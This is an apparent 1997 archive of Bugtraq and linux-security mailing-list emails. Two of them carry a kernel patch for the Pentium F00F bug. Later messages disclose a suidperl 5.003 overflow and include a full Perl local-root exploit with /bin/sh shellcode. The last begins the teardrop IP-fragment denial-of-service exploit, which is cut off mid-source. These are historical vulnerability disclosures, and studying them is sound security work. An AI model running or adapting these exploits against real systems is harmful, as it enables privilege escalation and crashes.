Linux security - ПP ─ ╨ Return-Path: <owner-bugtraq@NETSPACE.ORG>
Delivered-To: admin@skyway.ru
From: Aleph One <aleph1@DFW.NET>
Subject: Linux F00F Patch
To: BUGTRAQ@NETSPACE.ORG
Status:
X-PMFLAGS: 34078848 0
This are the relevant parts of the linux kernel 2.1.63 patch that fix the
Pentium bug that Alan mentioned.
Aleph One / aleph1@dfw.net
http://underground.org/
KeyID 1024/948FD6B5
Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01
diff -u --recursive --new-file v2.1.62/linux/arch/i386/kernel/setup.c linux/arch/i386/kernel/setup.c
--- v2.1.62/linux/arch/i386/kernel/setup.c Tue Sep 23 16:48:46 1997
+++ linux/arch/i386/kernel/setup.c Wed Nov 12 11:09:56 1997
@@ -42,6 +42,7 @@
char x86_mask = 0; /* set by kernel/head.S */
int x86_capability = 0; /* set by kernel/head.S */
int fdiv_bug = 0; /* set if Pentium(TM) with FP bug */
+int pentium_f00f_bug = 0; /* set if Pentium(TM) with F00F bug */
int have_cpuid = 0; /* set if CPUID instruction works */
char x86_vendor_id[13] = "unknown";
@@ -359,6 +360,7 @@
"fdiv_bug\t: %s\n"
"hlt_bug\t\t: %s\n"
"sep_bug\t\t: %s\n"
+ "pentium_f00f_bug\t\t: %s\n"
"fpu\t\t: %s\n"
"fpu_exception\t: %s\n"
"cpuid\t\t: %s\n"
@@ -367,6 +369,7 @@
CD(fdiv_bug) ? "yes" : "no",
CD(hlt_works_ok) ? "no" : "yes",
sep_bug ? "yes" : "no",
+ pentium_f00f_bug ? "yes" : "no",
CD(hard_math) ? "yes" : "no",
(CD(hard_math) && ignore_irq13)
? "yes" : "no",
diff -u --recursive --new-file v2.1.62/linux/arch/i386/kernel/traps.c linux/arch/i386/kernel/traps.c
--- v2.1.62/linux/arch/i386/kernel/traps.c Sun Sep 7 13:10:42 1997
+++ linux/arch/i386/kernel/traps.c Wed Nov 12 11:09:56 1997
@@ -413,6 +413,51 @@
#endif /* CONFIG_MATH_EMULATION */
+static struct
+{
+ short limit __attribute__((packed));
+ void * addr __attribute__((packed));
+ short __pad __attribute__((packed));
+} idt_d;
+
+void * idt2;
+
+__initfunc(void trap_init_f00f_bug(void))
+{
+ pgd_t * pgd;
+ pmd_t * pmd;
+ pte_t * pte;
+ unsigned long twopage;
+
+ printk("moving IDT ... ");
+
+ twopage = (unsigned long) vmalloc (2*PAGE_SIZE);
+
+ idt2 = (void *)(twopage + 4096-7*8);
+
+ memcpy(idt2,&idt,sizeof(idt));
+
+ idt_d.limit = 256*8-1;
+ idt_d.addr = idt2;
+ idt_d.__pad = 0;
+
+ __asm__ __volatile__("\tlidt %0": "=m" (idt_d));
+
+ /*
+ * Unmap lower page:
+ */
+ pgd = pgd_offset(current->mm, twopage);
+ pmd = pmd_offset(pgd, twopage);
+ pte = pte_offset(pmd, twopage);
+
+ pte_clear(pte);
+ flush_tlb_all();
+
+ printk(" ... done\n");
+}
+
+
+
__initfunc(void trap_init(void))
{
int i;
diff -u --recursive --new-file v2.1.62/linux/arch/i386/mm/fault.c linux/arch/i386/mm/fault.c
--- v2.1.62/linux/arch/i386/mm/fault.c Wed Oct 15 16:04:23 1997
+++ linux/arch/i386/mm/fault.c Wed Nov 12 11:09:55 1997
@@ -74,6 +74,25 @@
return 0;
}
+asmlinkage void divide_error(void);
+asmlinkage void debug(void);
+asmlinkage void nmi(void);
+asmlinkage void int3(void);
+asmlinkage void overflow(void);
+asmlinkage void bounds(void);
+asmlinkage void invalid_op(void);
+
+asmlinkage void do_divide_error (struct pt_regs *, unsigned long);
+asmlinkage void do_debug (struct pt_regs *, unsigned long);
+asmlinkage void do_nmi (struct pt_regs *, unsigned long);
+asmlinkage void do_int3 (struct pt_regs *, unsigned long);
+asmlinkage void do_overflow (struct pt_regs *, unsigned long);
+asmlinkage void do_bounds (struct pt_regs *, unsigned long);
+asmlinkage void do_invalid_op (struct pt_regs *, unsigned long);
+
+extern int * idt2;
+extern int pentium_f00f_bug;
+
/*
* This routine handles page faults. It determines the address,
* and the problem, and then passes it off to one of the appropriate
@@ -170,6 +189,46 @@
goto out;
}
+ printk("<%p/%p>\n", idt2, (void *)address);
+ /*
+ * Pentium F0 0F C7 C8 bug workaround:
+ */
+ if ( pentium_f00f_bug && (address >= (unsigned long)idt2) &&
+ (address < (unsigned long)idt2+256*8) ) {
+
+ void (*handler) (void);
+ int nr = (address-(unsigned long)idt2)/8;
+ unsigned long low, high;
+
+ low = idt[nr].a;
+ high = idt[nr].b;
+
+ handler = (void (*) (void)) ((low&0x0000ffff) | (high&0xffff0000));
+ printk("<handler %p... ", handler);
+ unlock_kernel();
+
+ if (handler==divide_error)
+ do_divide_error(regs,error_code);
+ else if (handler==debug)
+ do_debug(regs,error_code);
+ else if (handler==nmi)
+ do_nmi(regs,error_code);
+ else if (handler==int3)
+ do_int3(regs,error_code);
+ else if (handler==overflow)
+ do_overflow(regs,error_code);
+ else if (handler==bounds)
+ do_bounds(regs,error_code);
+ else if (handler==invalid_op)
+ do_invalid_op(regs,error_code);
+ else {
+ printk("INVALID HANDLER!\n");
+ for (;;) __cli();
+ }
+ printk("... done>\n");
+ goto out;
+ }
+
/* Are we prepared to handle this kernel fault? */
if ((fixup = search_exception_table(regs->eip)) != 0) {
printk(KERN_DEBUG "%s: Exception at [<%lx>] cr2=%lx (fixup: %lx)\n",
@@ -193,6 +252,7 @@
flush_tlb();
goto out;
}
+
if (address < PAGE_SIZE)
printk(KERN_ALERT "Unable to handle kernel NULL pointer dereference");
else
diff -u --recursive --new-file v2.1.62/linux/include/asm-i386/bugs.h linux/include/asm-i386/bugs.h
--- v2.1.62/linux/include/asm-i386/bugs.h Thu Sep 11 09:02:24 1997
+++ linux/include/asm-i386/bugs.h Wed Nov 12 11:09:55 1997
@@ -166,6 +166,32 @@
}
}
+/*
+ * All current models of Pentium and Pentium with MMX technology CPUs
+ * have the F0 0F bug, which lets nonpriviledged users lock up the system:
+ */
+
+extern int pentium_f00f_bug;
+
+__initfunc(static void check_pentium_f00f(void))
+{
+ /*
+ * Pentium and Pentium MMX
+ */
+ printk("checking for F00F bug ...");
+ if(x86==5 && !memcmp(x86_vendor_id, "GenuineIntel", 12))
+ {
+ extern void trap_init_f00f_bug(void);
+
+ printk(KERN_INFO "\nIntel Pentium/[MMX] F0 0F bug detected - turning on workaround.\n");
+ pentium_f00f_bug = 1;
+ trap_init_f00f_bug();
+ } else {
+ printk(KERN_INFO " no F0 0F bug in this CPU, great!\n");
+ pentium_f00f_bug = 0;
+ }
+}
+
__initfunc(static void check_bugs(void))
{
check_tlb();
@@ -173,5 +199,6 @@
check_hlt();
check_popad();
check_amd_k6();
+ check_pentium_f00f();
system_utsname.machine[1] = '0' + x86;
}
Return-Path: <linux-security-request@redhat.com>
Delivered-To: admin@skyway.ru
Received: (qmail 1702 invoked from network); 13 Nov 1997 12:16:55 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 13 Nov 1997 12:16:55 -0000
Received: by scylla.sovam.com id AA07423
(5.67b8s3p1/IDA-1.5 for admin@skyway.ru); Thu, 13 Nov 1997 12:36:52 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA07262
(5.67b8s3p1/IDA-1.5 for <admin@skyway.ru>); Thu, 13 Nov 1997 12:34:08 +0300
Received: from mail2.redhat.com (mail2.redhat.com [199.183.24.247])
by conjurer.tyumen.ru (8.8.5/8.8.5) with SMTP id OAA13145
for <mc@conjurer.tyumen.ru>; Thu, 13 Nov 1997 14:32:45 +0500 (ES)
Received: (qmail 29126 invoked by uid 501); 13 Nov 1997 08:57:27 -0000
Resent-Date: 13 Nov 1997 08:57:27 -0000
Resent-Cc: recipient.list.not.shown: ;
Mbox-Line: From linux-security-request@redhat.com Thu Nov 13 03:57:24 1997
X-Pop3-Rcpt: t757607@helium
Date: Wed, 12 Nov 1997 21:02:32 -0500
Message-Id: <199711130202.VAA23442@tarsier.cv.nrao.edu>
From: Jeff Uphoff <juphoff@tarsier.cv.nrao.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: linux-security@redhat.com
X-Mailer: VM 6.34 under Emacs 19.34.1
Reply-To: juphoff@nrao.edu
X-Zippy: My life is a patio of fun!
X-No-Archive: yes
X-Attribution: Up
Resent-Message-Id: <"36NG_2.0.067.q3iQq"@mail2.redhat.com>
Resent-From: linux-security@redhat.com
X-Mailing-List: <linux-security@redhat.com> archive/latest/345
X-Loop: linux-security@redhat.com
Precedence: list
Resent-Sender: linux-security-request@redhat.com
Subject: [linux-security] Linux F00F Patch [Forwarded e-mail from Aleph One]
Status:
X-PMFLAGS: 34078848 0
[mod: The first message would've been rejected on the grounds "no
security related information", but it gives ME a warm feeling too, so
I'm allowing it to piggyback on the announcement of the "fix". Note
that Linux-2.1.63 simply implements a fix for the problem, instead of
applying this fix, upgrading to 2.1.63 might be an option for you.
Linus indicated that this fix WILL be moving into 2.0.3x . Case
closed?
Oh, and allow me to aplogise in public to all that I told that I did
not believe them when they told me that P6 processors (P-Pro and P-II)
have a writable microcode feature. They do. (Assignment for
Crypto-101: Decode the encrypted microcode that is avaible at
http://www.sandpile.org/80x86/mcupdate/update32.zip --16 hours)
I mentioned that I expected Pentium overdrives to be affected. Several
people have confirmed that they aren't. Odd. The fix relies on the
CPUID information, do they get detected as having the F00F bug?
-- REW]
------------------------------------------------------------------
Related to the "F0 OF C7 C8" bug, from
http://support.intel.com/support/processors/pentium/ppiie/index.htm
The execution of that reported instruction sequence causes
systems with Pentium processors and Pentium processor with MMX
technology to hang instead of terminating the application. This
hang condition is observed on multiple operating systems (DOS*,
Windows* 95, Windows* NT, and Linux*) when used with this
instruction sequence. Intel has reproduced the behavior.
Linux got equal billing with all of MS's OS's (and quasi-OS's). Intel's
acknowledgement of Linux gave me a fuzzy.
(The * is footnoted as "These trademarks are property of their
respective owners." That now means Linus in our community. Thanks to
all involved parties for helping make that come true.)
--Up.
------------------------------------------------------------------
Forwarding headers mangle patches. Mind the gap.
--Up.
------- start of forwarded message (RFC 934 encapsulation) -------
From: Aleph One <aleph1@DFW.NET>
Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
To: BUGTRAQ@NETSPACE.ORG
Subject: Linux F00F Patch
Date: Wed, 12 Nov 1997 18:45:15 -0600
Reply-To: Aleph One <aleph1@DFW.NET>
This are the relevant parts of the linux kernel 2.1.63 patch that fix the
Pentium bug that Alan mentioned.
Aleph One / aleph1@dfw.net
http://underground.org/
KeyID 1024/948FD6B5
Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01
diff -u --recursive --new-file v2.1.62/linux/arch/i386/kernel/setup.c linux/arch/i386/kernel/setup.c
- --- v2.1.62/linux/arch/i386/kernel/setup.c Tue Sep 23 16:48:46 1997
+++ linux/arch/i386/kernel/setup.c Wed Nov 12 11:09:56 1997
@@ -42,6 +42,7 @@
char x86_mask = 0; /* set by kernel/head.S */
int x86_capability = 0; /* set by kernel/head.S */
int fdiv_bug = 0; /* set if Pentium(TM) with FP bug */
+int pentium_f00f_bug = 0; /* set if Pentium(TM) with F00F bug */
int have_cpuid = 0; /* set if CPUID instruction works */
char x86_vendor_id[13] = "unknown";
@@ -359,6 +360,7 @@
"fdiv_bug\t: %s\n"
"hlt_bug\t\t: %s\n"
"sep_bug\t\t: %s\n"
+ "pentium_f00f_bug\t\t: %s\n"
"fpu\t\t: %s\n"
"fpu_exception\t: %s\n"
"cpuid\t\t: %s\n"
@@ -367,6 +369,7 @@
CD(fdiv_bug) ? "yes" : "no",
CD(hlt_works_ok) ? "no" : "yes",
sep_bug ? "yes" : "no",
+ pentium_f00f_bug ? "yes" : "no",
CD(hard_math) ? "yes" : "no",
(CD(hard_math) && ignore_irq13)
? "yes" : "no",
diff -u --recursive --new-file v2.1.62/linux/arch/i386/kernel/traps.c linux/arch/i386/kernel/traps.c
- --- v2.1.62/linux/arch/i386/kernel/traps.c Sun Sep 7 13:10:42 1997
+++ linux/arch/i386/kernel/traps.c Wed Nov 12 11:09:56 1997
@@ -413,6 +413,51 @@
#endif /* CONFIG_MATH_EMULATION */
+static struct
+{
+ short limit __attribute__((packed));
+ void * addr __attribute__((packed));
+ short __pad __attribute__((packed));
+} idt_d;
+
+void * idt2;
+
+__initfunc(void trap_init_f00f_bug(void))
+{
+ pgd_t * pgd;
+ pmd_t * pmd;
+ pte_t * pte;
+ unsigned long twopage;
+
+ printk("moving IDT ... ");
+
+ twopage = (unsigned long) vmalloc (2*PAGE_SIZE);
+
+ idt2 = (void *)(twopage + 4096-7*8);
+
+ memcpy(idt2,&idt,sizeof(idt));
+
+ idt_d.limit = 256*8-1;
+ idt_d.addr = idt2;
+ idt_d.__pad = 0;
+
+ __asm__ __volatile__("\tlidt %0": "=m" (idt_d));
+
+ /*
+ * Unmap lower page:
+ */
+ pgd = pgd_offset(current->mm, twopage);
+ pmd = pmd_offset(pgd, twopage);
+ pte = pte_offset(pmd, twopage);
+
+ pte_clear(pte);
+ flush_tlb_all();
+
+ printk(" ... done\n");
+}
+
+
+
__initfunc(void trap_init(void))
{
int i;
diff -u --recursive --new-file v2.1.62/linux/arch/i386/mm/fault.c linux/arch/i386/mm/fault.c
- --- v2.1.62/linux/arch/i386/mm/fault.c Wed Oct 15 16:04:23 1997
+++ linux/arch/i386/mm/fault.c Wed Nov 12 11:09:55 1997
@@ -74,6 +74,25 @@
return 0;
}
+asmlinkage void divide_error(void);
+asmlinkage void debug(void);
+asmlinkage void nmi(void);
+asmlinkage void int3(void);
+asmlinkage void overflow(void);
+asmlinkage void bounds(void);
+asmlinkage void invalid_op(void);
+
+asmlinkage void do_divide_error (struct pt_regs *, unsigned long);
+asmlinkage void do_debug (struct pt_regs *, unsigned long);
+asmlinkage void do_nmi (struct pt_regs *, unsigned long);
+asmlinkage void do_int3 (struct pt_regs *, unsigned long);
+asmlinkage void do_overflow (struct pt_regs *, unsigned long);
+asmlinkage void do_bounds (struct pt_regs *, unsigned long);
+asmlinkage void do_invalid_op (struct pt_regs *, unsigned long);
+
+extern int * idt2;
+extern int pentium_f00f_bug;
+
/*
* This routine handles page faults. It determines the address,
* and the problem, and then passes it off to one of the appropriate
@@ -170,6 +189,46 @@
goto out;
}
+ printk("<%p/%p>\n", idt2, (void *)address);
+ /*
+ * Pentium F0 0F C7 C8 bug workaround:
+ */
+ if ( pentium_f00f_bug && (address >= (unsigned long)idt2) &&
+ (address < (unsigned long)idt2+256*8) ) {
+
+ void (*handler) (void);
+ int nr = (address-(unsigned long)idt2)/8;
+ unsigned long low, high;
+
+ low = idt[nr].a;
+ high = idt[nr].b;
+
+ handler = (void (*) (void)) ((low&0x0000ffff) | (high&0xffff0000));
+ printk("<handler %p... ", handler);
+ unlock_kernel();
+
+ if (handler==divide_error)
+ do_divide_error(regs,error_code);
+ else if (handler==debug)
+ do_debug(regs,error_code);
+ else if (handler==nmi)
+ do_nmi(regs,error_code);
+ else if (handler==int3)
+ do_int3(regs,error_code);
+ else if (handler==overflow)
+ do_overflow(regs,error_code);
+ else if (handler==bounds)
+ do_bounds(regs,error_code);
+ else if (handler==invalid_op)
+ do_invalid_op(regs,error_code);
+ else {
+ printk("INVALID HANDLER!\n");
+ for (;;) __cli();
+ }
+ printk("... done>\n");
+ goto out;
+ }
+
/* Are we prepared to handle this kernel fault? */
if ((fixup = search_exception_table(regs->eip)) != 0) {
printk(KERN_DEBUG "%s: Exception at [<%lx>] cr2=%lx (fixup: %lx)\n",
@@ -193,6 +252,7 @@
flush_tlb();
goto out;
}
+
if (address < PAGE_SIZE)
printk(KERN_ALERT "Unable to handle kernel NULL pointer dereference");
else
diff -u --recursive --new-file v2.1.62/linux/include/asm-i386/bugs.h linux/include/asm-i386/bugs.h
- --- v2.1.62/linux/include/asm-i386/bugs.h Thu Sep 11 09:02:24 1997
+++ linux/include/asm-i386/bugs.h Wed Nov 12 11:09:55 1997
@@ -166,6 +166,32 @@
}
}
+/*
+ * All current models of Pentium and Pentium with MMX technology CPUs
+ * have the F0 0F bug, which lets nonpriviledged users lock up the system:
+ */
+
+extern int pentium_f00f_bug;
+
+__initfunc(static void check_pentium_f00f(void))
+{
+ /*
+ * Pentium and Pentium MMX
+ */
+ printk("checking for F00F bug ...");
+ if(x86==5 && !memcmp(x86_vendor_id, "GenuineIntel", 12))
+ {
+ extern void trap_init_f00f_bug(void);
+
+ printk(KERN_INFO "\nIntel Pentium/[MMX] F0 0F bug detected - turning on workaround.\n");
+ pentium_f00f_bug = 1;
+ trap_init_f00f_bug();
+ } else {
+ printk(KERN_INFO " no F0 0F bug in this CPU, great!\n");
+ pentium_f00f_bug = 0;
+ }
+}
+
__initfunc(static void check_bugs(void))
{
check_tlb();
@@ -173,5 +199,6 @@
check_hlt();
check_popad();
check_amd_k6();
+ check_pentium_f00f();
system_utsname.machine[1] = '0' + x86;
}
------- end -------
--
----------------------------------------------------------------------
Please refere to the information about this list as well as general
information about Linux security at http://www.aoy.com/Linux/Security.
----------------------------------------------------------------------
To unsubscribe: mail -s unsubscribe test-list-request@redhat.com < /dev/null
Return-Path: <owner-bugtraq@NETSPACE.ORG>
Delivered-To: admin@skyway.ru
Received: (qmail 13067 invoked from network); 14 Nov 1997 01:01:34 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 14 Nov 1997 01:01:34 -0000
Received: by scylla.sovam.com id AA23276
(5.67b8s3p1/IDA-1.5 for admin@skyway.ru); Fri, 14 Nov 1997 03:52:53 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA23229
(5.67b8s3p1/IDA-1.5 for <admin@skyway.ru>); Fri, 14 Nov 1997 03:49:33 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id FAA29260
for <mc@CONJURER.TYUMEN.RU>; Fri, 14 Nov 1997 05:47:58 +0500 (ES)
Received: from unknown@netspace.org (port 25452 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <476-19079>; Thu, 13 Nov 1997 14:56:39 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5621746 for BUGTRAQ@NETSPACE.ORG; Thu, 13 Nov 1997 14:55:33
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
OAA15925 for <BUGTRAQ@NETSPACE.ORG>; Thu, 13 Nov 1997 14:44:37 -0500
Received: from unknown@netspace.org (port 25452 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <81056-19080>; Thu, 13 Nov 1997
14:43:51 -0500
Approved-By: aleph1@UNDERGROUND.ORG
Received: from kerberos2.troja.mff.cuni.cz (fwfe-atmtroja.pasnet.cz
[193.84.48.122]) by netspace.org (8.8.7/8.8.2) with SMTP id MAA24154
for <BUGTRAQ@NETSPACE.ORG>; Thu, 13 Nov 1997 12:22:10 -0500
Received: (qmail 26898 invoked from network); 13 Nov 1997 17:14:33 -0000
Received: from kerberos.troja.mff.cuni.cz (195.113.28.1) by netspace.org with
SMTP; 13 Nov 1997 17:14:33 -0000
Received: (qmail 18182 invoked by uid 500); 13 Nov 1997 17:14:28 -0000
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-Id: <Pine.LNX.3.95.971113162510.3729B-100000@kerberos.troja.mff.cuni.cz>
Date: Thu, 13 Nov 1997 18:14:28 +0100
Reply-To: peak@kerberos.troja.mff.cuni.cz
Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
From: Pavel Kankovsky <peak@kerberos.troja.mff.cuni.cz>
Subject: another buffer overrun in sperl5.003
X-To: linux-alert@redhat.com
To: BUGTRAQ@NETSPACE.ORG
Status:
X-PMFLAGS: 34078848 0
Summary:
Any user can gain root privileges on a Intel Linux system with suidperl
5.003 (having the suid bit, of course) even if "SUIDBUF" and "two suidperl
security patches" have been applied. Non-Intel / non-Linux platforms may
be affected as well.
Quick fix:
chmod u-s /usr/bin/sperl5.003 (what else?)
Details:
There is a nasty bug in mess() (util.c): it is possible to overflow
its buffer (via sprintf()); mess() tries to detect this situation but
fails to handle the problem properly:
[excerpt from util.c]
if (s - s_start >= sizeof(buf)) { /* Ooops! */
if (usermess)
fputs(SvPVX(tmpstr), stderr);
else
fputs(buf, stderr);
fputs("panic: message overflow - memory corrupted!\n",stderr);
my_exit(1);
}
It does not abort immediately. It prints out an error message and calls
my_exit(1), and this is very bad.
$ perl -v
This is perl, version 5.003 with EMBED
Locally applied patches:
SUIDBUF - Buffer overflow fixes for suidperl security
built under linux at Apr 22 1997 10:04:46
+ two suidperl security patches
$ perl `perl -e "print 'A' x 3000"`
Can't open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
...AAAAAAAAAAAAAAAAA": File name too long
panic: message overflow - memory corrupted!
$ Can't open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
...AAAAAAAAAAAAAAAAA": File name too long
panic: message overflow - memory corrupted!
Segmentation fault (core dumped)
$ gdb /usr/bin/perl core
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (i586-unknown-linux), Copyright 1996 Free Software Foundation,
Inc...
(no debugging symbols found)...
Core was generated by `perl AAAAA...'.
Program terminated with signal 11, Segmentation fault.
Reading symbols ...
...
#0 0x41414141 in ?? ()
(gdb)
Voila! 0x41414141 == "AAAA"
The variable called top_env has been overwritten. In fact, it is jmp_buf
and Perl calls longjmp() with it somewhere in my_exit().
Run this and wait for a root prompt:
[exploit code]
#!/usr/bin/perl
# yes, this suidperl exploit is in perl, isn't it wonderful? :)
$| = 1;
$shellcode =
"\x90" x 512 . # nops
"\xbc\xf0\xff\xff\xbf" . # movl $0xbffffff0,%esp
# "standard shellcode" by Aleph One
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
# start and end of .data
# adjust this using /proc/*/maps
$databot = 0x080a2000;
$datatop = 0x080ab000;
# trial and error loop
$address = $databot + 4;
while ($address < $datatop) {
$smash_me =
$shellcode . ('A' x (2052 - length($shellcode))) .
(pack("l", $address) x 1000) . ('B' x 1000);
$pid = fork();
if (!$pid) {
exec('/usr/bin/sperl5.003', $smash_me);
}
else {
wait;
if ($? == 0) {
printf("THE MAGIC ADDRESS WAS %08x\n", $address);
exit;
}
}
$address += 128;
}
[end of exploit code]
I have tested this on two Red Hat 4.2 systems running on Intel (with
perl-5.003-8 and -9). I am pretty sure any Intel-like Linux having
sperl5.003 is affected.
Other platforms may be affected too.
Perl 5.004 is NOT VULNERABLE.
--Pavel Kankovsky aka Peak (troja.mff.cuni.cz network administration)
Return-Path: <owner-bugtraq@NETSPACE.ORG>
Delivered-To: admin@skyway.ru
Received: (qmail 21448 invoked from network); 14 Nov 1997 09:46:44 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 14 Nov 1997 09:46:44 -0000
Received: by scylla.sovam.com id AA24111
(5.67b8s3p1/IDA-1.5 for admin@skyway.ru); Fri, 14 Nov 1997 10:54:46 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA23856
(5.67b8s3p1/IDA-1.5 for <admin@skyway.ru>); Fri, 14 Nov 1997 10:52:20 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id MAA02046
for <mc@CONJURER.TYUMEN.RU>; Fri, 14 Nov 1997 12:45:39 +0500 (ES)
Received: from unknown@netspace.org (port 25452 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <697-20256>; Fri, 14 Nov 1997 01:40:20 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5638206 for BUGTRAQ@NETSPACE.ORG; Fri, 14 Nov 1997 01:35:39
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
BAA03848 for <BUGTRAQ@NETSPACE.ORG>; Fri, 14 Nov 1997 01:35:06 -0500
Received: from unknown@netspace.org (port 25452 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <462-20254>; Fri, 14 Nov 1997
01:35:00 -0500
Approved-By: aleph1@UNDERGROUND.ORG
Received: from resentment.infonexus.com (resentment.infonexus.com
[207.171.209.38]) by netspace.org (8.8.7/8.8.2) with SMTP id BAA01364
for <bugtraq@netspace.org>; Fri, 14 Nov 1997 01:06:04 -0500
Received: (qmail 7022 invoked by uid 501); 14 Nov 1997 06:06:15 -0000
X-Mailer: ELM [version 2.4 PL25]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Message-Id: <19971114060615.7021.qmail@resentment.infonexus.com>
Date: Thu, 13 Nov 1997 22:06:15 -0800
Reply-To: route@RESENTMENT.INFONEXUS.COM
Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
From: G P R <route@RESENTMENT.INFONEXUS.COM>
Subject: Linux IP fragment overlap bug
To: BUGTRAQ@NETSPACE.ORG
Status:
X-PMFLAGS: 34078848 0
Helu.
I wrote this post a while back when the bug was first discovered. It
seems as though this bug (and patch) has gotten out, so here it is, in it's
entirety.
As it happens, Linux has a serious bug in it's IP fragmentation module.
More specifically, in the fragmentation reassembly code. More specifically,
the bug manifests itself in the `ip_glue()` function....
When Linux reassembles IP fragments to form the original IP datagram, it
runs in a loop, copying the payload from all the queued fragments into a newly
allocated buffer (which would then normally be passed to the IP layer proper).
>From ip_fragment.c@376:
fp = qp->fragments;
while(fp != NULL)
{
if(count+fp->len > skb->len)
{
error_to_big;
}
memcpy((ptr + fp->offset), fp->ptr, fp->len);
count += fp->len;
fp = fp->next;
}
While it does check to see if the fragment length is too large, which would
have the kernel copy too much data, it doesn't check to see if the fragment
length is too small, which would have the kernel copy WAY too data (such is the
case if fp->len is < 0).
To see when this happens, we need to look at how Linux adds IP datagrams
to the reassembly queue. From ip_fragment.c@502:
/*
* Determine the position of this fragment.
*/
end = offset + ntohs(iph->tot_len) - ihl;
Ok. That's nice. Now we have to look at what happens when we have
overlaping fragments... From ip_fragment.c@531:
/*
* We found where to put this one.
* Check for overlap with preceding fragment, and, if needed,
* align things so that any overlaps are eliminated.
*/
if (prev != NULL && offset < prev->end)
{
i = prev->end - offset;
offset += i; /* ptr into datagram */
ptr += i; /* ptr into fragment data */
}
If we find that the current fragment's offset is inside the end of a
previous fragment (overlap), we need to (try) align it correctly. Well, this
is fine and good, unless the payload of the current fragment happens to NOT
contain enough data to cover the realigning. In that case, `offset` will end
up being larger then `end`. These two values are passed to `ip_frag_create()`
where the length of the fragment data is computed. From ip_fragment.c@97:
/* Fill in the structure. */
fp->offset = offset;
fp->end = end;
fp->len = end - offset;
This results in fp->len being negative and the memcpy() at the top will end
up trying to copy entirely too much data, resulting in a reboot or a halt,
depending on how much physical memory you've got.
We can trigger this normally unlikely event by simply sending 2 specially
fragmented IP datagrams. The first is the 0 offset fragment with a payload of
size N, with the MF bit on (data content is irrelevant). The second is the
last fragment (MF == 0) with a positive offset < N and with a payload of < N.
Every linux implementation I have been able to look at seems to have this
problem (1.x - 2.x, including the development kernels).
Oh, by the way, NT/95 appear to have the bug also. Try sending 10 - 15 of
these fragment combos to an NT/95 machine.
Special thanks to klepto for bringing the problem to my attention and
writing the initial exploit.
route|daemon9 route@infonexus.com
------[Begin] -- Guby Linux -------------------------------------------------
/*
* Copyright (c) 1997 route|daemon9 <route@infonexus.com> 11.3.97
*
* Linux/NT/95 Overlap frag bug exploit
*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0 / Windows 95 (others?)
*
* Based off of: flip.c by klepto
* Compiles on: Linux, *BSD*
*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
